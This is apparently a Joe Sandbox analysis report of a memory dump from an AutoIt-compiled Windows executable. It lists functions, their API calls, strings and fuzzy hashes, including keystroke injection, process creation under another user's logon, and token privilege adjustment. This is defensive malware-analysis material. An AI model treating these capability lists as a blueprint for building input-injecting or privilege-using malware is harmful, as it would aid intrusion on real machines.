CreateWindowExW.USER32 ref: 00007FF6B5BB53D6
GetClientRect.USER32 ref: 00007FF6B5BB53EB
CreateWindowExW.USER32 ref: 00007FF6B5BB546A
CreateDCW.GDI32 ref: 00007FF6B5BB5486
GetStockObject.GDI32 ref: 00007FF6B5BB5496
SelectObject.GDI32 ref: 00007FF6B5BB54A2
GetTextFaceW.GDI32 ref: 00007FF6B5BB54B3
GetDeviceCaps.GDI32 ref: 00007FF6B5BB54C0
DeleteDC.GDI32 ref: 00007FF6B5BB54CB
CreateFontW.GDI32 ref: 00007FF6B5BB5530
SendMessageW.USER32 ref: 00007FF6B5BB5546
CreateWindowExW.USER32 ref: 00007FF6B5BB55A8
SendMessageW.USER32 ref: 00007FF6B5BB55C6
SendMessageW.USER32 ref: 00007FF6B5BB55DE
CreateWindowExW.USER32 ref: 00007FF6B5BB563B
GetStockObject.GDI32 ref: 00007FF6B5BB564B
SendMessageW.USER32 ref: 00007FF6B5BB5661
ShowWindow.USER32 ref: 00007FF6B5BB5671

Strings

A, xrefs: 00007FF6B5BB5629
AutoIt v3, xrefs: 00007FF6B5BB53C5
msctls_progress32, xrefs: 00007FF6B5BB558C
static, xrefs: 00007FF6B5BB5463, 00007FF6B5BB5622
DISPLAY, xrefs: 00007FF6B5BB5473

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: A$AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-2439800395
Opcode ID: 6a4158767fd1e3aa62d6cad0ab6a36848a32ab8b88e438b2c1d2663541e17033
Instruction ID: 56ee1423ad2638efa569b61204ffbfd1afd47e64765d7b413ca7da10926727ab
Opcode Fuzzy Hash: 6a4158767fd1e3aa62d6cad0ab6a36848a32ab8b88e438b2c1d2663541e17033
Instruction Fuzzy Hash: 57E1C47660878187E750DF29E854AA97BA0FB89B94F500135DF4E93BA9CF7CE845CB00

Function 00007FF6B5B44514 Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 122threadkeyboardwindowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00007FF6B5B4452F
FindWindowW.USER32 ref: 00007FF6B5B8A812
IsIconic.USER32 ref: 00007FF6B5B8A81E
ShowWindow.USER32 ref: 00007FF6B5B8A830
SetForegroundWindow.USER32 ref: 00007FF6B5B8A839
GetWindowThreadProcessId.USER32 ref: 00007FF6B5B8A84C
GetCurrentThreadId.KERNEL32 ref: 00007FF6B5B8A854
GetWindowThreadProcessId.USER32 ref: 00007FF6B5B8A862
AttachThreadInput.USER32 ref: 00007FF6B5B8A878
AttachThreadInput.USER32 ref: 00007FF6B5B8A886
AttachThreadInput.USER32 ref: 00007FF6B5B8A894
SetForegroundWindow.USER32 ref: 00007FF6B5B8A89D
MapVirtualKeyW.USER32 ref: 00007FF6B5B8A8B2
keybd_event.USER32 ref: 00007FF6B5B8A8C3
MapVirtualKeyW.USER32 ref: 00007FF6B5B8A8CD
keybd_event.USER32 ref: 00007FF6B5B8A8DF
MapVirtualKeyW.USER32 ref: 00007FF6B5B8A8E9
keybd_event.USER32 ref: 00007FF6B5B8A8FA
MapVirtualKeyW.USER32 ref: 00007FF6B5B8A904
keybd_event.USER32 ref: 00007FF6B5B8A916
SetForegroundWindow.USER32 ref: 00007FF6B5B8A91F
AttachThreadInput.USER32 ref: 00007FF6B5B8A93C
AttachThreadInput.USER32 ref: 00007FF6B5B8A94A
AttachThreadInput.USER32 ref: 00007FF6B5B8A958

Strings

Shell_TrayWnd, xrefs: 00007FF6B5B8A80B

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Thread$Window$AttachInput$ForegroundVirtualkeybd_event$Process$CurrentFindIconicShow
String ID: Shell_TrayWnd
API String ID: 3778422247-2988720461
Opcode ID: cd6974c24a3c73bdd9695786a971f02835d0cd3b561fa91e9f0f548f8bdf6fbe
Instruction ID: 90eaff295d4404fa45ca1b199bdd6348b74d9495e930798222d9968108ce506d
Opcode Fuzzy Hash: cd6974c24a3c73bdd9695786a971f02835d0cd3b561fa91e9f0f548f8bdf6fbe
Instruction Fuzzy Hash: 56417821F4891343F7145B2DA834A7E2291BF8AF91F545035CA1EC7BDADE3DAC4A8740

Function 00007FF6B5B2183C Relevance: 38.0, APIs: 25, Instructions: 475windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32 ref: 00007FF6B5B218EA
DeleteObject.GDI32 ref: 00007FF6B5B2194E
DeleteObject.GDI32 ref: 00007FF6B5B21956
DestroyIcon.USER32 ref: 00007FF6B5B2195E
DestroyWindow.USER32 ref: 00007FF6B5B21966
ImageList_Destroy.COMCTL32 ref: 00007FF6B5B69C2A
MoveWindow.USER32 ref: 00007FF6B5B6A15B
SendMessageW.USER32 ref: 00007FF6B5B6A18F
SendMessageW.USER32 ref: 00007FF6B5B6A1AD
ImageList_Destroy.COMCTL32 ref: 00007FF6B5B6A1C2
ImageList_Destroy.COMCTL32 ref: 00007FF6B5B6A1D1

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Destroy$ImageList_Window$DeleteMessageObjectSend$IconMove
String ID:
API String ID: 3372153169-0
Opcode ID: cebe50662675a261df0ce57bb688d6874ca0698041b92cdd573b2dd792630721
Instruction ID: 557f2f08f09542dce110e87e6a094be83f95419273bf985f395669c0998b2a11
Opcode Fuzzy Hash: cebe50662675a261df0ce57bb688d6874ca0698041b92cdd573b2dd792630721
Instruction Fuzzy Hash: 2A22B022A08A8386EB609B28D4646FD67A1FF42F94F544136CB1E876DADF3DEC41C710

Function 00007FF6B5B8CE68 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 227processCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B5B8D5CC: LookupPrivilegeValueW.ADVAPI32 ref: 00007FF6B5B8D630
Part of subcall function 00007FF6B5B8D5CC: AdjustTokenPrivileges.ADVAPI32 ref: 00007FF6B5B8D66F
Part of subcall function 00007FF6B5B8D5CC: GetLastError.KERNEL32 ref: 00007FF6B5B8D682

LogonUserW.ADVAPI32 ref: 00007FF6B5B8CF1A
DuplicateTokenEx.ADVAPI32 ref: 00007FF6B5B8CF4D
CloseHandle.KERNEL32 ref: 00007FF6B5B8CF60
OpenWindowStationW.USER32 ref: 00007FF6B5B8CF7F
GetProcessWindowStation.USER32 ref: 00007FF6B5B8CF96
SetProcessWindowStation.USER32 ref: 00007FF6B5B8CFA3
OpenDesktopW.USER32 ref: 00007FF6B5B8CFC3
wcscpy.LIBCMT ref: 00007FF6B5B8D0A5
LoadUserProfileW.USERENV ref: 00007FF6B5B8D0B8
CreateEnvironmentBlock.USERENV ref: 00007FF6B5B8D0D8
CreateProcessAsUserW.ADVAPI32 ref: 00007FF6B5B8D12F

Part of subcall function 00007FF6B5B8D780: GetProcessHeap.KERNEL32 ref: 00007FF6B5B8D7A2
Part of subcall function 00007FF6B5B8D780: HeapAlloc.KERNEL32 ref: 00007FF6B5B8D7B4
Part of subcall function 00007FF6B5B8D780: GetCurrentProcess.KERNEL32 ref: 00007FF6B5B8D7BD
Part of subcall function 00007FF6B5B8D780: GetCurrentProcess.KERNEL32 ref: 00007FF6B5B8D7C6
Part of subcall function 00007FF6B5B8D780: DuplicateHandle.KERNEL32 ref: 00007FF6B5B8D7EA
Part of subcall function 00007FF6B5B8D780: GetCurrentProcess.KERNEL32 ref: 00007FF6B5B8D7F0
Part of subcall function 00007FF6B5B8D780: GetCurrentProcess.KERNEL32 ref: 00007FF6B5B8D7F9
Part of subcall function 00007FF6B5B8D780: DuplicateHandle.KERNEL32 ref: 00007FF6B5B8D81E
Part of subcall function 00007FF6B5B8D780: CreateThread.KERNEL32 ref: 00007FF6B5B8D844

UnloadUserProfile.USERENV ref: 00007FF6B5B8D16C
CloseWindowStation.USER32 ref: 00007FF6B5B8D185
CloseDesktop.USER32 ref: 00007FF6B5B8D193
SetProcessWindowStation.USER32 ref: 00007FF6B5B8D1A5
CloseHandle.KERNEL32 ref: 00007FF6B5B8D1B0
DestroyEnvironmentBlock.USERENV ref: 00007FF6B5B8D1C7

Strings

winsta0\default, xrefs: 00007FF6B5B8D054
winsta0, xrefs: 00007FF6B5B8CF72
default, xrefs: 00007FF6B5B8CFB7

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Process$StationWindow$CloseCurrentHandleUser$CreateDuplicate$BlockDesktopEnvironmentHeapOpenProfileToken$AdjustAllocDestroyErrorLastLoadLogonLookupPrivilegePrivilegesThreadUnloadValuewcscpy
String ID: default$winsta0$winsta0\default
API String ID: 3202303201-1423368268
Opcode ID: de7527ded46d2e32930649954c580003a2a01d55c070abe543a614e541a7caf5
Instruction ID: 2bc4e76a6bf87559dcce62c5a779def8fe3234dfe979b2dbb39de87e567a8029
Opcode Fuzzy Hash: de7527ded46d2e32930649954c580003a2a01d55c070abe543a614e541a7caf5
Instruction Fuzzy Hash: E2A14C32A08B428AE710DF69A4606E963A1FB86B94F541136DF5D87B9ECF3CE805C750

Function 00007FF6B5B4F8D0 Relevance: 31.9, APIs: 20, Instructions: 1857COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B5B4FC46
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B5B4FE69
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B5B50183
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B5B50396
memcpy_s.LIBCMT ref: 00007FF6B5B505D1
memcpy_s.LIBCMT ref: 00007FF6B5B50664
memcpy_s.LIBCMT ref: 00007FF6B5B50818
memcpy_s.LIBCMT ref: 00007FF6B5B509F2
memcpy_s.LIBCMT ref: 00007FF6B5B50AE7
memcpy_s.LIBCMT ref: 00007FF6B5B50B1F
memcpy_s.LIBCMT ref: 00007FF6B5B50BB6
memcpy_s.LIBCMT ref: 00007FF6B5B50CC7
memcpy_s.LIBCMT ref: 00007FF6B5B50D6F
memcpy_s.LIBCMT ref: 00007FF6B5B50DB5
memcpy_s.LIBCMT ref: 00007FF6B5B50FF1
memcpy_s.LIBCMT ref: 00007FF6B5B51060
memcpy_s.LIBCMT ref: 00007FF6B5B5109E
memcpy_s.LIBCMT ref: 00007FF6B5B51148
memcpy_s.LIBCMT ref: 00007FF6B5B5136C
memcpy_s.LIBCMT ref: 00007FF6B5B5155C

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: memcpy_s$_invalid_parameter_noinfo
String ID:
API String ID: 2880407647-0
Opcode ID: 58aa0ebf662a58accb0a9b8196807729812b5725d699f5f78ac16d2d228f8c2a
Instruction ID: b65b55129e255f9a035fe37e37cd1b2aebe5603b9f0cd31ba9db27baf7a21780
Opcode Fuzzy Hash: 58aa0ebf662a58accb0a9b8196807729812b5725d699f5f78ac16d2d228f8c2a
Instruction Fuzzy Hash: 3803B672A041C68BDB7A8E29E470BF937A5F785B88F401135DB4997B5EDF38AD048B40

Function 00007FF6B5BCC6D4 Relevance: 28.9, APIs: 19, Instructions: 396windowCOMMON

Download Yara Rule

APIs

SetWindowTextW.USER32 ref: 00007FF6B5BCC876
SendMessageW.USER32 ref: 00007FF6B5BCC88E
SendMessageW.USER32 ref: 00007FF6B5BCC8B6
SendMessageW.USER32 ref: 00007FF6B5BCC8CE
CharNextW.USER32 ref: 00007FF6B5BCC903
SendMessageW.USER32 ref: 00007FF6B5BCC91B
SendMessageW.USER32 ref: 00007FF6B5BCC950
SendMessageW.USER32 ref: 00007FF6B5BCC971
GetMenuItemInfoW.USER32 ref: 00007FF6B5BCC9E1
SetMenuItemInfoW.USER32 ref: 00007FF6B5BCCA06
DrawMenuBar.USER32 ref: 00007FF6B5BCCA13
SendMessageW.USER32 ref: 00007FF6B5BCCA53
InvalidateRect.USER32 ref: 00007FF6B5BCCA78
SetWindowTextW.USER32 ref: 00007FF6B5BCCB01
SendMessageW.USER32 ref: 00007FF6B5BCCB71
SendMessageW.USER32 ref: 00007FF6B5BCCBE3
SendMessageW.USER32 ref: 00007FF6B5BCCC3D
SendMessageW.USER32 ref: 00007FF6B5BCCCC3
SendMessageW.USER32 ref: 00007FF6B5BCCD2E

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: MessageSend$Menu$InfoItemTextWindow$CharDrawInvalidateNextRect
String ID:
API String ID: 1015379403-0
Opcode ID: 811f6ddedc4938916125b3772b32f534d797e58df8d8128b9f335a51bc1c3411
Instruction ID: 946dae7cd90bb12720aad3ec66ae386da6032f9d5884adcf11edcdc52b0d4a87
Opcode Fuzzy Hash: 811f6ddedc4938916125b3772b32f534d797e58df8d8128b9f335a51bc1c3411
Instruction Fuzzy Hash: C402E431A0868286EB608F2894646F92761FB96F94F544232DB6D97BDECF3CED41C704

Function 00007FF6B5BB206C Relevance: 27.1, APIs: 18, Instructions: 125COMMON

Download Yara Rule

APIs

LoadCursorW.USER32 ref: 00007FF6B5BB2094
LoadCursorW.USER32 ref: 00007FF6B5BB20A5
LoadCursorW.USER32 ref: 00007FF6B5BB20B6
LoadCursorW.USER32 ref: 00007FF6B5BB20C7
LoadCursorW.USER32 ref: 00007FF6B5BB20D8
LoadCursorW.USER32 ref: 00007FF6B5BB20E9
LoadCursorW.USER32 ref: 00007FF6B5BB20FA
LoadCursorW.USER32 ref: 00007FF6B5BB210B
LoadCursorW.USER32 ref: 00007FF6B5BB211C
LoadCursorW.USER32 ref: 00007FF6B5BB212D
LoadCursorW.USER32 ref: 00007FF6B5BB213E
LoadCursorW.USER32 ref: 00007FF6B5BB214F
LoadCursorW.USER32 ref: 00007FF6B5BB2160
LoadCursorW.USER32 ref: 00007FF6B5BB2171
LoadCursorW.USER32 ref: 00007FF6B5BB2182
LoadCursorW.USER32 ref: 00007FF6B5BB2193
GetCursorInfo.USER32 ref: 00007FF6B5BB21A8
GetLastError.KERNEL32 ref: 00007FF6B5BB21E9

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Cursor$Load$ErrorInfoLast
String ID:
API String ID: 3215588206-0
Opcode ID: 486734a10a8987c1c87853d7cfea6df4eeb43b8f453fb3bc83844081bd685034
Instruction ID: f324fb83d8e3bfdf7a1a2692f4c1eb32e60d19c947b251e472f3867756ac4802
Opcode Fuzzy Hash: 486734a10a8987c1c87853d7cfea6df4eeb43b8f453fb3bc83844081bd685034
Instruction Fuzzy Hash: 90512132B4CB028AEB589F68E4695BD37A1EB4AB44F144439DA0EC37C9DE7CD8568344

Function 00007FF6B5B6529C Relevance: 24.1, APIs: 9, Strings: 4, Instructions: 1310COMMONLIBRARYCODE

Download Yara Rule

APIs

fegetenv.LIBCMT ref: 00007FF6B5B652E5
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B5B6595E
memcpy_s.LIBCMT ref: 00007FF6B5B6630B
memcpy_s.LIBCMT ref: 00007FF6B5B663B2

Part of subcall function 00007FF6B5B51C28: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6B5B51C5A

memcpy_s.LIBCMT ref: 00007FF6B5B6647B

Part of subcall function 00007FF6B5B5B2C4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6B5B5B2E9

Strings

1#INF, xrefs: 00007FF6B5B66553
1#QNAN, xrefs: 00007FF6B5B66534
1#IND, xrefs: 00007FF6B5B664F6
1#SNAN, xrefs: 00007FF6B5B66515

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: _invalid_parameter_noinfomemcpy_s$fegetenv
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 281475176-2761157908
Opcode ID: fcfcd3c85d5de11fcd116e00f6466421f1c918d309ac340d1a492b096d736d29
Instruction ID: 0652213553b1957785cff4ee9eebf956057bc2fe551916106bdcc6843fa86932
Opcode Fuzzy Hash: fcfcd3c85d5de11fcd116e00f6466421f1c918d309ac340d1a492b096d736d29
Instruction Fuzzy Hash: F7B2EA72A042828BE7658E2DD460AFD7791FB46B88F505135DB0997BCEDF38ED158B00

Function 00007FF6B5B25F3C Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 223COMMON

Download Yara Rule

Strings

P, xrefs: 00007FF6B5B25F65

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID:
String ID: P
API String ID: 0-3110715001
Opcode ID: 89df1471032732431b81a05b11aefcbbc91b985f9c802d2c82d041fa720837f2
Instruction ID: f49bc24c351ab93994256c920f5e2cc56d547cf68274e6948095fd6988369ded
Opcode Fuzzy Hash: 89df1471032732431b81a05b11aefcbbc91b985f9c802d2c82d041fa720837f2
Instruction Fuzzy Hash: 25A1B432A0864186F724CF29D4246F9B760FB86F88F508136DB5E87A9ACF7DE945C700

Function 00007FF6B5B62400 Relevance: 21.4, APIs: 8, Strings: 4, Instructions: 366timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF6B5B6243E

Part of subcall function 00007FF6B5B61BE0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6B5B61BF4

_get_daylight.LIBCMT ref: 00007FF6B5B6242D

Part of subcall function 00007FF6B5B61C40: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6B5B61C54

_get_daylight.LIBCMT ref: 00007FF6B5B62673
_get_daylight.LIBCMT ref: 00007FF6B5B62684
_get_daylight.LIBCMT ref: 00007FF6B5B62695
GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6B5B628F5), ref: 00007FF6B5B626BC
WideCharToMultiByte.KERNEL32 ref: 00007FF6B5B62752
WideCharToMultiByte.KERNEL32 ref: 00007FF6B5B6279E

Strings

:, xrefs: 00007FF6B5B6255E
-, xrefs: 00007FF6B5B62503
:, xrefs: 00007FF6B5B62534
?, xrefs: 00007FF6B5B62791

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: _get_daylight$ByteCharMultiWide_invalid_parameter_noinfo$InformationTimeZone
String ID: -$:$:$?
API String ID: 3440502458-92861585
Opcode ID: 2484a17d68417765dfea95e8ed30be907b8393143ee9075556b7ff4147a9153c
Instruction ID: 88c92d717e5ddf5f91da93b36755a86bb65ebc69d3ac5172f0bfeed55964f285
Opcode Fuzzy Hash: 2484a17d68417765dfea95e8ed30be907b8393143ee9075556b7ff4147a9153c
Instruction Fuzzy Hash: EDE1C232A1838286F7648F39A8615F9B791BF86F94F585135EB4E8268EDF3CDC418700

Function 00007FF6B5BA72A8 Relevance: 21.3, APIs: 7, Strings: 5, Instructions: 284timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32 ref: 00007FF6B5BA72E8
FindClose.KERNEL32 ref: 00007FF6B5BA731A
FileTimeToLocalFileTime.KERNEL32 ref: 00007FF6B5BA7359
FileTimeToLocalFileTime.KERNEL32 ref: 00007FF6B5BA7381
FileTimeToSystemTime.KERNEL32 ref: 00007FF6B5BA73B3
FileTimeToSystemTime.KERNEL32 ref: 00007FF6B5BA73E3

Strings

%4d, xrefs: 00007FF6B5BA74C3
%4d%02d%02d%02d%02d%02d, xrefs: 00007FF6B5BA747E
%03d, xrefs: 00007FF6B5BA76CF
%02d, xrefs: 00007FF6B5BA7519
%4d%02d%02d%02d%02d%02d%03d, xrefs: 00007FF6B5BA7441

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Time$File$FindLocalSystem$CloseFirst
String ID: %02d$%03d$%4d$%4d%02d%02d%02d%02d%02d$%4d%02d%02d%02d%02d%02d%03d
API String ID: 3232708057-3289030164
Opcode ID: 5c779f221d7aeb540d444412295e12a250afa50e4e6d56f81e5e2491da9cccd3
Instruction ID: 2f532432f86feed05ca4c1a3c0650eecfa0f68168ac7d58bf4aea898bfa1ce8a
Opcode Fuzzy Hash: 5c779f221d7aeb540d444412295e12a250afa50e4e6d56f81e5e2491da9cccd3
Instruction Fuzzy Hash: 94D1C322B18A5295FB10DB69D4610FE6761FB82F94F804032EB4D87AAEDF7DD909C710

Function 00007FF6B5BAA350 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 112fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32 ref: 00007FF6B5BAA390
GetFileAttributesW.KERNEL32 ref: 00007FF6B5BAA3CE
SetFileAttributesW.KERNEL32 ref: 00007FF6B5BAA3E5
FindNextFileW.KERNEL32 ref: 00007FF6B5BAA3FA
FindClose.KERNEL32 ref: 00007FF6B5BAA407
FindClose.KERNEL32 ref: 00007FF6B5BAA424
FindFirstFileW.KERNEL32 ref: 00007FF6B5BAA43D
SetCurrentDirectoryW.KERNEL32 ref: 00007FF6B5BAA489
SetCurrentDirectoryW.KERNEL32 ref: 00007FF6B5BAA4B0
FindNextFileW.KERNEL32 ref: 00007FF6B5BAA4BE
FindClose.KERNEL32 ref: 00007FF6B5BAA4CD

Strings

*.*, xrefs: 00007FF6B5BAA436

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
